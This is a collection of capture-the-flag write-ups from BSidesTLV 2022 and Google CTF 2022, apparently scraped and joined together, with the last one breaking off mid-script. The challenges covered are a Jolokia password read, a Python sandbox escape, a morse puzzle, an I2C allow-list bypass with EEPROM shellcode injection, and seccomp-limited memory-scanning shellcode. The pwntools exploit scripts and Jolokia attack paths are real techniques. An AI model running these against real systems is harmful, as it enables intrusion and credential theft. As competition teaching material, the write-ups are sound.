Let's run ```gobuster``` with the attached dictionary list file:```consoleââ[evyatar@parrot]â[/ctf/2022_bsidestlv/web/404_not_found]âââ⌠$ gobuster dir -u https://not-found.ctf.bsidestlv.com/ -w /ctf/2022_bsidestlv/web/404_not_found/dirlist.txt -t 100 -k --wildcard ===============================================================Gobuster v3.1.0by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: https://not-found.ctf.bsidestlv.com/[+] Method: GET[+] Threads: 100[+] Wordlist: /ctf/2022_bsidestlv/web/404_not_found/dirlist.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.1.0[+] Timeout: 10s===============================================================2022/06/28 23:26:59 Starting gobuster in directory enumeration mode===============================================================/faces/javax.faces.resource/web.xml?ln=..\\WEB-INF (Status: 400) [Size: 49]/jolokia/ (Status: 200) [Size: 415] /jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/output=!/tmp!/pwned (Status: 200) [Size: 2643]/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/disable (Status: 200) [Size: 2631] /jolokia/exec/com.sun.management:type=DiagnosticCommand/vmSystemProperties (Status: 200) [Size: 2620] /jolokia/exec/com.sun.management:type=DiagnosticCommand/help/* (Status: 200) [Size: 2625] /jolokia/exec/com.sun.management:type=DiagnosticCommand/jfrStart/filename=!/tmp!/foo (Status: 200) [Size: 2646]/jolokia/list?maxObjects=100 (Status: 200) [Size: 3085] /jolokia/read/java.lang:type=Memory/HeapMemoryUsage/used (Status: 200) [Size: 157] /jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd (Status: 200) [Size: 2653]/jolokia/search/*:j2eeType=J2EEServer,* (Status: 200) [Size: 110] /jolokia/exec/ch.qos.logback.classic (Status: 200) [Size: 1767] /jolokia/read/java.lang:type=*/HeapMemoryUsage (Status: 200) [Size: 248] /jolokia/exec/com.sun.management:type=DiagnosticCommand/jvmtiAgentLoad/!/etc!/passwd (Status: 200) [Size: 2646] /jolokia/version (Status: 200) [Size: 415] /jolokia/exec/java.lang:type=Memory/gc (Status: 200) [Size: 125] /jolokia/list (Status: 200) [Size: 472578] ```
As we can see it's a [jolokia](https://jolokia.org/) which is a JMX-HTTP bridge giving an alternative to ```JSR-160``` connectors. It is an agent based approach with support for many platforms. In addition to basic JMX operations it enhances JMX remoting with unique features like bulk requests and fine grained security policies ([Reference](https://jolokia.org/)).
By observing the following link [https://not-found.ctf.bsidestlv.com/jolokia/list?maxObjects=1000](https://not-found.ctf.bsidestlv.com/jolokia/list?maxObjects=1000) we get the following JSON response:```json{ "timestamp": 1656878518, "status": 200, "request": { "type": "list" }, "value": { "JMImplementation": "[Object limit exceeded]", "Users": { "database=UserDatabase,type=UserDatabase": { "desc": "In-memory user and group database", "op": { "createUser": { "ret": "java.lang.String", "desc": "Create new user and return MBean name", "args": [ { "desc": "User name of the new user", "name": "username", "type": "java.lang.String" }, { "desc": "Password of the new user", "name": "password", "type": "java.lang.String" }, { "desc": "Full name of the new user", "name": "fullName", "type": "java.lang.String" } ] }, "createGroup": { "ret": "java.lang.String", "desc": "Create new group and return MBean name", "args": [ { "desc": "Group name of the new group", "name": "groupname", "type": "java.lang.String" }, { "desc": "Description of the new group", "name": "description", "type": "java.lang.String" } ] }, "save": { "ret": "void", "desc": "Save current users and groups to persistent storage", "args": [ ] }, "createRole": { "ret": "java.lang.String", "desc": "Create new role and return MBean name", "args": [ { "desc": "Role name of the new role", "name": "rolename", "type": "java.lang.String" }, { "desc": "Description of the new role", "name": "description", "type": "java.lang.String" } ] }, "removeRole": { "ret": "void", "desc": "Remove existing role", "args": [ { "desc": "Role name of the role to remove", "name": "rolename", "type": "java.lang.String" } ] }, "findGroup": { "ret": "java.lang.String", "desc": "Return MBean Name of the specified group (if any)", "args": [ { "desc": "Group name of the requested group", "name": "groupname", "type": "java.lang.String" } ] }, "findRole": { "ret": "java.lang.String", "desc": "Return MBean Name of the specified role (if any)", "args": [ { "desc": "Role name of the requested role", "name": "rolename", "type": "java.lang.String" } ] }, "findUser": { "ret": "java.lang.String", "desc": "Return MBean Name of the specified user (if any)", "args": [ { "desc": "User name of the requested user", "name": "username", "type": "java.lang.String" } ] }, "removeGroup": { "ret": "void", "desc": "Remove existing group (and all user memberships)", "args": [ { "desc": "Group name of the group to remove", "name": "groupname", "type": "java.lang.String" } ] }, "removeUser": { "ret": "void", "desc": "Remove existing user (and all group memberships)", "args": [ { "desc": "User name of the user to remove", "name": "username", "type": "java.lang.String" } ] } }, "attr": { "users": { "desc": "MBean Names of all defined users", "type": "[Ljava.lang.String;", "rw": "[Object limit exceeded]" }, "roles": "[Object limit exceeded]", "writeable": "[Object limit exceeded]", "pathname": "[Object limit exceeded]", "modelerType": "[Object limit exceeded]", "readonly": "[Object limit exceeded]", "groups": "[Object limit exceeded]" } }, "database=UserDatabase,rolename=k1aNoYouCantBruteIt},type=Role": { "desc": "Security role from a user database", "attr": { "rolename": { "desc": "Role name of this role", "type": "java.lang.String", "rw": false }, "description": { "desc": "Description of this role", "type": "java.lang.String", "rw": true }, "modelerType": { "desc": "Type of the modeled resource. Can be set only once", "type": "java.lang.String", "rw": false } } }, "database=UserDatabase,type=User,username=\"BSidesTLV2022\"": { "desc": "User from a user database", "op": { "removeGroups": { "ret": "void", "desc": "Remove all group memberships for this user", "args": [ ] }, "addGroup": { "ret": "void", "desc": "Add a new group membership for this user", "args": [ { "desc": "Group name of the new group", "name": "groupname", "type": "java.lang.String" } ] }, "removeRole": { "ret": "void", "desc": "Remove an old authorized role for this user", "args": [ { "desc": "Role to be removed", "name": "role", "type": "java.lang.String" } ] }, "removeRoles": { "ret": "void", "desc": "Remove all authorized roles for this user", "args": [ ] }, "removeGroup": { "ret": "void", "desc": "Remove an old group membership for this user", "args": [ { "desc": "Group name of the old group", "name": "groupname", "type": "java.lang.String" } ] }, "addRole": { "ret": "void", "desc": "Add a new authorized role for this user", "args": [ { "desc": "Role to be added", "name": "role", "type": "java.lang.String" } ] } }, "attr": { "username": { "desc": "User name of this user", "type": "java.lang.String", "rw": true }, "roles": { "desc": "MBean Names of roles for this user", "type": "[Ljava.lang.String;", "rw": false }, "fullName": { "desc": "Full name of this user", "type": "java.lang.String", "rw": true }, "modelerType": { "desc": "Type of the modeled resource. Can be set only once", "type": "java.lang.String", "rw": false }, "password": { "desc": "Password of this user", "type": "java.lang.String", "rw": true }, "groups": { "desc": "MBean Names of groups this user is a member of", "type": "[Ljava.lang.String;", "rw": false } } } }, "jmx4perl": "[Object limit exceeded]", "com.sun.management": "[Object limit exceeded]", "Catalina": "[Object limit exceeded]", "java.nio": "[Object limit exceeded]", "java.lang": "[Object limit exceeded]", "java.util.logging": "[Object limit exceeded]", "jolokia": "[Object limit exceeded]" }}```
We can see two interesting objects, The first one:```json"database=UserDatabase,rolename=k1aNoYouCantBruteIt},type=Role": { "desc": "Security role from a user database", "attr": { "rolename": { "desc": "Role name of this role", "type": "java.lang.String", "rw": false }, "description": { "desc": "Description of this role", "type": "java.lang.String", "rw": true }, "modelerType": { "desc": "Type of the modeled resource. Can be set only once", "type": "java.lang.String", "rw": false } } }```
The ```rolename``` looks like the last part of the flag, Let's note it ```k1aNoYouCantBruteIt}```.
The second object is:```json"database=UserDatabase,type=User,username=\"BSidesTLV2022\"": { "desc": "User from a user database", ... }, "attr": { "username": { "desc": "User name of this user", "type": "java.lang.String", "rw": true }, "roles": { "desc": "MBean Names of roles for this user", "type": "[Ljava.lang.String;", "rw": false }, "fullName": { "desc": "Full name of this user", "type": "java.lang.String", "rw": true }, "modelerType": { "desc": "Type of the modeled resource. Can be set only once", "type": "java.lang.String", "rw": false }, "password": { "desc": "Password of this user", "type": "java.lang.String", "rw": true }, "groups": { "desc": "MBean Names of groups this user is a member of", "type": "[Ljava.lang.String;", "rw": false } } }```
We can see the ```password``` attribute of this object, By reading the documentation on the following link [https://jolokia.org/reference/pdf/jolokia-reference.pdf](https://jolokia.org/reference/pdf/jolokia-reference.pdf) to read the ```password``` attribute we can use the following link: [https://not-found.ctf.bsidestlv.com/jolokia/read/Users:database=UserDatabase,type=User,username="BSidesTLV2022"/password](https://not-found.ctf.bsidestlv.com/jolokia/read/Users:database=UserDatabase,type=User,username="BSidesTLV2022"/password) and we get the response:```json{"timestamp":1656878898,"status":200,"request":{"mbean":"Users:database=UserDatabase,type=User,username=\"BSidesTLV2022\"","attribute":"password","type":"read"},"value":"{J0l0k1aJ0l0k1aJ0l0"}```
We can see the first part of the flag on ```value```:```{J0l0k1aJ0l0k1aJ0l0```
Write it together and we get the flag ```BSidesTLV2022{J0l0k1aJ0l0k1aJ0l0k1aNoYouCantBruteIt}```. |
Running dirb on the provided list reveals jolokia JMX is publicAfter reading how this works:going to https://not-found.ctf.bsidestlv.com/jolokia/list - reveals all mbeans are available for usage.Searching there reveals users are stored in memory mbean: `Users:database=UserDatabase,type=User,username=\"BSidesTLV2022\""`
There is a user with a username=BSidesTLV2022 and a role: k1aNoYouCantBruteIt} which looks like part of the flag.Ok another part is missing. lets try to read the user password by a post request which reads from this mbean:
```POSThttps://not-found.ctf.bsidestlv.com/jolokia/{ "type" : "read", "mbean" : "Users:database=UserDatabase,type=User,username=\"BSidesTLV2022\"", "operation": "findUser", "arguments": ["BSidesTLV2022"], "attribute" : "password"}```
Reveals the second missing part: `{"timestamp":1656402372,"status":200,"request":{"mbean":"Users:database=UserDatabase,type=User,username=\"BSidesTLV2022\"","attribute":"password","type":"read"},"value":"{J0l0k1aJ0l0k1aJ0l0"}` |
TL;DR:
**My exploit**```python@exec@inputclass X: pass```
Full writeup, including an analysis of a collection of different solutions and approaches: <https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/> |
This challenge holds a hidden word in morse code in Xero.
Being able to realize the coding method gets you through the key step. Itâs common to use morse code with flashlight; the flashing Xero is a hint.
The Morse code is embedded in the clip. Any video player can be used to decrease the speed of the video. Other common software that separate the video frame by frame could also be useful.
Now that you have the frames of the clip, solve for the letters of the flag. Every DOT lasts 15 frames and every dot 5 frames. By now, you will have the letters of this flag.
The next puzzle you will need to solve is unscrambling the letters. Initially you will have âayroboplâ but that doesnât make sense.
There are a couple of ways in which you might be able to reach the right answer. A simple method is typing the word several times which will leave you with: "ayroboplayroboplayroboplayroboplayrobopl".
Now you can see âroboplayâ, you have captured the flag. |
# WeatherWeather was a hardware challenge on [Google CTF 2022](https://capturetheflag.withgoogle.com/) that was based around a weather station running on a microcontroller with attached sensors and a serial interface. The goal was extracting a flag from an internal ROM device.
For the challenge we were given a datasheet containing details about the microcontroller, its attached devices and the interfaces available. We were also given the firmware source code written in c.
## Reading the datasheetFrom the datasheet we can determine the following information:
The microcontroller has three interfaces available: I2C for attached sensors, SPI for XRAM (external RAM) and UART for user communication with the weather station.
The XRAM attached through SPI, is a CTF-55930D, a 32K EEPROM storing the running program with an additional I2C interface (!). If we were to write data to the EEPROM, we would not writing actual bits but would be sending the EEPROM information on which bits to **clear**.
The microcontroller also has a internally attached ROM containing the flag which can be accessed through special registers in the memory space.
We have the following sensors attached through I2C:- Humidity Sensor at address 119- Light Sensors at 110 and 111- Pressure Sensor at 108- Temperature Sensor at 101
We can also get some clues on other parts of the setup:
The microcontroller is called CTF-8051, which together with the Special Function Registers hints at the controller being some form of an 8051 processor.
## Analyzing the firmware sourceFrom the firmware sources we can determine how to interface with the weather station.
First thing we could do knowing the goal was trying to find any references to flag ROM from which we want to read data, but outside the definitions of `FLAGROM_ADDR` and `FLAGROM_DATA` registers they were not used anywhere in the program so we will need to find another way in.
The communication is performed via UART (accessible through a network socket in our case) and after a prompt we can perform two actions:- A read, with `r <addr> <size>` which will read `size` bytes from the device at address `addr`- A write, with `w <addr> <size> <byte1> <byte2> .. <byteN>` which will write `size` bytes to device at address `addr`
The address provided in the command is checked against a list of predefined addresses:```cconst char *ALLOWED_I2C[] = { "101", // Thermometers (4x). "108", // Atmospheric pressure sensor. "110", // Light sensor A. "111", // Light sensor B. "119", // Humidity sensor. NULL};
// [...]
bool is_port_allowed(const char *port) { for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) { const char *pa = *allowed; const char *pb = port; bool allowed = true; while (*pa && *pb) { if (*pa++ != *pb++) { allowed = false; break; } } if (allowed && *pa == '\0') return true; } return false;}
uint8_t str_to_uint8(const char *s) { uint8_t v = 0; while (*s) { uint8_t digit = *s++ - '0'; if (digit >= 10) return 0; v = v * 10 + digit; } return v;}
int8_t port_to_int8(char *port) { if (!is_port_allowed(port)) return -1;
return (int8_t) str_to_uint8(port);}```
The code checking if our address is allowed is flawed though, it only checks the first 3 bytes of our input as all the predefined addresses are 3 bytes long.With the knowledge of that, if we were to send an address like `10100000000`, it would get accepted as a valid address but would zero out the `v` variable in `str_to_uint8` conversion function allowing us to then append any arbitrary address after it.
## Finding the EEPROMWith the ability to communicate with arbitrary devices, we can scan all the possible 128 addresses if there are devices present with code like the following:```pythonfrom pwn import *p = remote('weather.2022.ctfcompetition.com', 1337)
def read_from_address(address, size): p.recvuntil(b'? ') p.sendline(f'r {address} {size}'.encode()) p.recvuntil(b'i2c status: ') status = p.recvline().strip() ret_data = p.recvuntil(b'\n-end\n', drop=True).decode().strip().split() return status, bytes([int(a) for a in ret_data])
for i in range(128): status, data = read_from_address(f'10100000000{i}', 128) if status != b'error - device not found': print(f'Device exists on address {i}')```
With it we can discover a new unknown device at address 33. Based on the diagrams from the datasheet, it is very possible that it is the EEPROM containing the running program.
To verify that theory we can try reading the data pages from it following the instructions from the datasheet:> Reading data from a 64-byte page is done in two steps:> 1. Select the page by writing the page index to EEPROM's I2C address.> 2. Receive up to 64 bytes by reading from the EEPROM's I2C address.
To do that we can use code like the one below:```python# See the code above to find the other functions used
def write_to_address(address, data): size = len(data) p.recvuntil(b'? ') p.sendline(f'w {address} {size} {" ".join([str(a) for a in data])}'.encode()) p.recvuntil(b'i2c status: ') return p.recvline().strip()
write_to_address(f'1010000000033', [0])status, data = read_from_address(f'1010000000033', 64)print(data.hex())```
With some data returned, we can try dumping all the 64 pages of it.```pythonfor i in range(64): write_to_address(f'1010000000033', [i]) status, data = read_from_address(f'1010000000033', 64) print(data.hex())```
Now that we have the memory dumped, we can see what is inside it.```» strings eeprom.raw// [...]"i2c status: transaction completed / readyi2c status: busyi2c status: error - device not foundi2c status: error - device misbehavedi2c status: unknown errorWeather Station-err: command too long, rejected-err: command format incorrect-err: unknown command-err: port invalid or not allowed-err: I2C request length incorrect-end```
This means that we did indeed dump the program memory.
## Taking control of the device### Creating the shellcodeWith access to the memory of the device, we can now see a way how to extract the flag out of the internal ROM.
To get some shellcode we can use [sdcc](http://sdcc.sourceforge.net/) which will produce a listing file (`.lst`) which will contain a program listing for our compiled program with instruction bytes, source code lines and other relevant information inside it.
The exploit code has to read the flag rom byte by byte and output the data into the `SERIAL_OUT_DATA` register for us to read it.
Sample exploit code:```c#include <stdint.h>__sfr __at(0xee) FLAGROM_ADDR;__sfr __at(0xef) FLAGROM_DATA;__sfr __at(0xf2) SERIAL_OUT_DATA;__sfr __at(0xf3) SERIAL_OUT_READY;
int main(void) { uint8_t a = 0; while (a < 255) { FLAGROM_ADDR = a; while (!SERIAL_OUT_READY) {}; SERIAL_OUT_DATA = FLAGROM_DATA; a++; } return 0;}```
Then after compiling our exploit code with `sdcc exploit.c`, we can view `exploit.lst` to read out the instruction bytes for our exploit.``` 140 ; exploit.c:9: while (a < 255) { 000000 7F 00 [12] 141 mov r7,#0x00 000002 142 00104$: 000002 BF FF 00 [24] 143 cjne r7,#0xff,00126$ 000005 144 00126$: 000005 50 0C [24] 145 jnc 00106$ 146 ; exploit.c:10: FLAGROM_ADDR = a; 000007 8F EE [24] 147 mov _FLAGROM_ADDR,r7 148 ; exploit.c:11: while (!SERIAL_OUT_READY) {}; 000009 149 00101$: 000009 E5 F3 [12] 150 mov a,_SERIAL_OUT_READY 00000B 60 FC [24] 151 jz 00101$ 152 ; exploit.c:12: SERIAL_OUT_DATA = FLAGROM_DATA; 00000D 85 EF F2 [24] 153 mov _SERIAL_OUT_DATA,_FLAGROM_DATA 154 ; exploit.c:13: a++; 000010 0F [12] 155 inc r7 000011 80 EF [24] 156 sjmp 00104$ 000013 157 00106$: 158 ; exploit.c:15: return 0; 000013 90 00 00 [24] 159 mov dptr,#0x0000 160 ; exploit.c:16: } 000016 22 [24] 161 ret```
### Writing our shellcode into memoryNear the end of program memory we can see 24 pages filled with `FF` bytes which is a perfect place for us to write shellcode to that would sequentially read bytes out of the flag rom and would send them to the UART interface.
It's the perfect place because as it was mentioned previously, writing data to the EEPROM is actually done by sending bits to clear, there is no way for us to set a 1 if it was cleared before. This place in memory lets us write exactly what we want without any larger constraints.
To write our data into a page with a bunch of FF bytes we can yet again turn to the datasheet to find out how to do that:> Programming the EEPROM is done by writing the following packet to the EEPROM's I2C address: > `<PageIndex> <4ByteWriteKey> <ClearMask> ... <ClearMask>` > The PageIndex selects a 64-byte page to operate on. The WriteKey is a 4 byte unlock key meant to prevent accidental overwrites. > Its value is constant: `A5 5A A5 5A`. Each ClearMask byte is applied to the consecutive bytes of the page, starting from byte at index 0. > All bits set to 1 in the ClearMask are cleared (set to 0) for the given byte in the given page on the EEPROM: > `byte[i] â byte[i] AND (NOT clear_mask_byte)`
With that known, we can write a helper function to write given data into the EEPROM:```pythondef write_eeprom_page(page, data): if len(data) != 64: data += b'\x00' * (64 - len(data)) data = bytes([((~a) & 0xff) for a in data]) write_to_address(f'1010000000033', bytes([page, 0xa5, 0x5a, 0xa5, 0x5a]) + data)```
And to test it, we can write our shellcode into the first page which contains the FF bytes:```pythonshellcode = bytes.fromhex('7F 00 BF FF 00 50 0C 8F EE E5 F3 60 FC 85 EF F2 0F 80 EF 90 00 00 22')
# Read the existing datawrite_to_address(f'1010000000033', [40])status, data = read_from_address(f'1010000000033', 64)print(data.hex())# 3900ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
# Write our shellcode with some nop byteswrite_eeprom_page(40, b'\x00' * 16 + shellcode)
# Verify if it was writtenwrite_to_address(f'1010000000033', [40])status, data = read_from_address(f'1010000000033', 64)print(data.hex())# 000000000000000000000000000000007f00bfff00500c8feee5f360fc85eff20f80ef9000002200000000000000000000000000000000000000000000000000```
### Finding a way to run our shellcodeThe other problem is getting the shellcode to execute. If we were to place it at address 0xa00 (page 40), we could perform a `LJMP 0xa00` instruction which according to the [8051 instruction reference](https://www.win.tue.nl/~aeb/comp/8051/set8051.html#51ljmp) would be `02 0a 00`.
Knowing that, we can try to find a place in main() which would allow us to clear some bits to turn an instruction into our jump.
First, we can try to correlate the data we dumped from the memory with a compiled version of the firmware. To do that, we can compile the `firmware.c` with sdcc and use the resulting listing again.
In the listing we can find that the main loop starts around the address 1099 (0x44B):``` 1032 ;------------------------------------------------------------ 1033 ; firmware.c:200: int main(void) { 1034 ; ----------------------------------------- 1035 ; function main 1036 ; ----------------------------------------- 000442 1037 _main: 1038 ; firmware.c:201: serial_print("Weather Station\n"); 000442 90r00rA5 [24] 1039 mov dptr,#___str_5 000445 75 F0 80 [24] 1040 mov b,#0x80 000448 12r00r8D [24] 1041 lcall _serial_print 1042 ; firmware.c:206: while (true) { 00044B 1043 00135$: 1044 ; firmware.c:207: serial_print("? "); 00044B 90r00rB6 [24] 1045 mov dptr,#___str_6 00044E 75 F0 80 [24] 1046 mov b,#0x80 000451 12r00r8D [24] 1047 lcall _serial_print
```
Then we can loop over the program bytes trying to find a place which we can use for the jump:```pythonprogram = open('eeprom.raw', 'rb').read() # Previously extracted program memory
def and_bytes(a, b): return bytes([aa & bb for aa, bb in zip(a, b)])
target = b'\x02\x0a\x00'for offset in range(0x44B, 0x6B9): if and_bytes(target, program[offset:offset+3]) == target: print(f'Jump possible at {hex(offset)}')```
And with the position of a viable jump known, we can then overwrite the instructions with our helper write function:```pythonpage_number = offset // 64instr_offset = offset % 64jump_data = b'\x00' * instr_offset + targetjump_data += b'\x00' * (64 - len(jump_data))
write_eeprom_page(page_number, jump_data)```
Then, with our jump written we need to send any valid instruction for the program to get to our jump:```pythonp.sendline(b'r 1 1')p.interactive()```
And with that, we get a dump of the flag ROM:```[*] Switching to interactive mode? CTF{DoesAnyoneEvenReadFlagsAnymore?}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00err: port invalid or not allowed``` |
# Google Capture The Flag 2022
## SEGFAULT LABYRINTH
> Be careful! One wrong turn and the whole thing comes crashing down> > `segfault-labyrinth.2022.ctfcompetition.com 1337`
[`challenge`](challenge)
Tags: _rev_ _pwn_ _shellcode_ _x86-64_ _seccomp_
## Summary
Basic seccomp constrained shellcode runner where the flag is randomly located [in RAM] and you've got to find it.
> UPDATE: See end for alternatives.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments```
Given this is a shellcode runner challenge, RWX segments are not unexpected. However, none of this is relevant.
### seccomp dump
```bash# seccomp-tools dump ./challenge
line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x00000004 if (A != stat) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0022 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0022: 0x06 0x00 0x00 0x00000000 return KILL```
Not dissimilar to many basic shellcode challenges where, `open`, `read`, `write` are used to exfiltrate the flag, however there is no `open`. Fortunately the flag is in RAM; we'll only need `write`.
### Decompile in Ghidra
```c pFVar2 = fopen("/dev/urandom","r"); if (pFVar2 == (FILE *)0x0) { fwrite("Error: failed to open urandom. Exiting\n",1,0x27,stderr); local_114 = -1; } else { uVar7 = 10; pvVar3 = mmap((void *)0x0,0x1000,3,0x22,-1,0); __ptr = pvVar3; do { sVar4 = fread(&local_f8,1,1,pFVar2); uVar9 = (ulong)((byte)local_f8 & 0xf); local_f8 = local_f8 & 0xffffffffffffff00 | (ulong)(byte)((byte)local_f8 & 0xf); if (sVar4 != 1) { fwrite("Error: failed to read random. Exiting.\n",1,0x27,stderr);LAB_00101525: fwrite("Error: failed to build labyrinth. Exiting\n",1,0x2a,stderr); return -1; } uVar8 = 0; do { iVar1 = rand(); pvVar5 = mmap((void *)((long)iVar1 * 0x1000 + 0x10000),0x1000,(uint)(uVar9 == uVar8) * 3,0x22,-1,0); *(void **)((long)__ptr + uVar8 * 8) = pvVar5; if (pvVar5 == (void *)0x0) { fwrite("Error: failed to allocate memory.\n",1,0x22,stderr); goto LAB_00101525; } uVar8 = uVar8 + 1; uVar9 = local_f8 & 0xff; } while (uVar8 != 0x10); __ptr = *(void **)((long)__ptr + uVar9 * 8); if (__ptr == (void *)0x0) goto LAB_00101525; uVar7 = uVar7 - 1; } while (uVar7 != 0);```
In `main` there are two [nested] loops. The outer loop of 10 assigns [per iteration] `local_f8` a 4-bit (range 0-15) value from `urandom`. The inner loop of 16 creates [per iteration] a pseudo random address and `mmap`s a page of memory to that location; if the loop index matches the 4-bit value from `urandom`, then that allocation will be set with `rw-` permissions.
After both loops end the last `rw-` allocation is used to store the flag:
```c pFVar2 = fopen("flag.txt","r"); if (pFVar2 == (FILE *)0x0) { fwrite("Error: failed to open flag. Exiting.\n",1,0x25,stderr); local_114 = -1; } else { sVar4 = fread(__ptr,1,0x1000,pFVar2);```
One of the last 16 locations will contain the flag, so there is no need to concern ourselves with the previous 9*16 addresses; this reduces any searching to only 16 locations.
`rand()` is used with no seed (defaults to 1), making each location deterministic.
To exploit this we'll use `write` to _write_ out each location. Any attempt to read memory with pure shellcode will segfault with 15/16 odds since the permissions for 15 of the 16 are `---`. However, `write`, will return `EFAULT` (`-14`) into `rax`, and then continue on.
## Exploit
```python#!/usr/bin/env python3
from pwn import *from ctypes import *
binary = context.binary = ELF('./challenge', checksec=False)
if args.REMOTE: p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337)else: p = process(binary.path)```
Standard pwntools header.
```pythonglibc = cdll.LoadLibrary('libc.so.6')for i in range(9*16): glibc.rand()
sc = f'''mov rdi, 1mov rdx, 100'''
for i in range(16): sc += f''' mov rsi, {hex(glibc.rand() * 0x1000 + 0x10000)} mov eax, {constants.SYS_write} syscall cmp rax, 100 je end '''
sc += f'''end:xor rdi, rdimov eax, {constants.SYS_exit}syscall'''```
The section above creates our shellcode. Repeated calls to `glibc.rand()` simulates the 9*16 `rand()` calls that are not relevant.
For the remaining 16 locations we'll call `write` and check that `write` returns `100` (the number of bytes we requested be written with `mov rdx, 100`).
If that check passes, then we have the flag, so we'll jump to the `end:`, and `exit` gracefully.
> A number of these type of challenges will produce no output if you do not exit cleanly, and it's worse with higher latency connections. If `exit` is not an option then `hlt` or `jmp $` usually do the trick.
```pythonshellcode = asm(sc)if args.D: print(disasm(shellcode))assert(len(shellcode) < 0x1000)p.sendafter(b'Labyrinth\n',p64(len(shellcode)))p.send(shellcode)_ = p.recvline().decode().strip()p.close()print(_)```
Send/run shellcode; get the flag.
Output:
```bash# ./exploit.py REMOTE=1[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done[*] Closed connection to segfault-labyrinth.2022.ctfcompetition.com port 1337CTF{c0ngratulat1ons_oN_m4k1nG_1t_thr0uGh_th3_l4Byr1nth}```
## Alternative Solves
### Alternative `exploit2.py`
Same as described above, however with locations table appended to payload vs. hardcoded and unrolled. Payload is about 1/3 the size of the payload above.
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./challenge', checksec=False)
if args.REMOTE: p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337)else: p = process(binary.path)
shellcode = asm(f'''mov rdi, 1mov rdx, 100mov rbx, 16loop:dec rbxlea rsi, [rip + locations]mov rsi, qword ptr [rsi + rbx*8]mov eax, {constants.SYS_write}syscallcmp rax, 100je end// test rbx, rbxjne loopend:xor rdi, rdimov eax, {constants.SYS_exit}syscalllocations:''')
if args.D: print(disasm(shellcode))
from ctypes import *glibc = cdll.LoadLibrary('libc.so.6')for i in range(9*16): glibc.rand()for i in range(16): shellcode += p64(glibc.rand() * 0x1000 + 0x10000)
assert(len(shellcode) < 0x1000)p.sendafter(b'Labyrinth\n',p64(len(shellcode)))p.send(shellcode)_ = p.recvline().decode().strip()p.close()print(_)```
### Intended Solution `exploit3.py`
The intended solution, as stated by the challenge author on Discord, is to leverage the only register (`rdi`) that is not reset [before shellcode execution] to navigate the labyrinth with `stat`.
> I assumed all registers were reset when I created my initial solve; checking the last 16 allocations seemed easy enough.
The nested loops in the challenge binary creates 10 arrays, each with 16 elements, one of which is a pointer (randomly selected) to the next array. `rdi` points the first array; the last array has a pointer to the in-memory flag:
```array: 0 1 2 3 ......... a-----------------------------------------------------------------------rdi -> 0 .--> 0 .--> 0 .--> 0 --> 0 1 | 1 | 1 | 1 1 2 | 2 | 2 | 2 2 ---> CTF{... 3 | 3 | 3 | 3 3 4 ---' 4 | 4 | 4 4 5 5 | 5 | 5 5 6 6 | 6 | 6 6 7 7 | 7 | 7 ......... 7 8 8 | 8 | 8 8 9 9 | 9 ---' 9 9 a a | a a a b b | b b --- b c c | c c c d d ---' d d d e e e e e f f f f f```
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./challenge', checksec=False)
if args.REMOTE: p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337)else: p = process(binary.path)
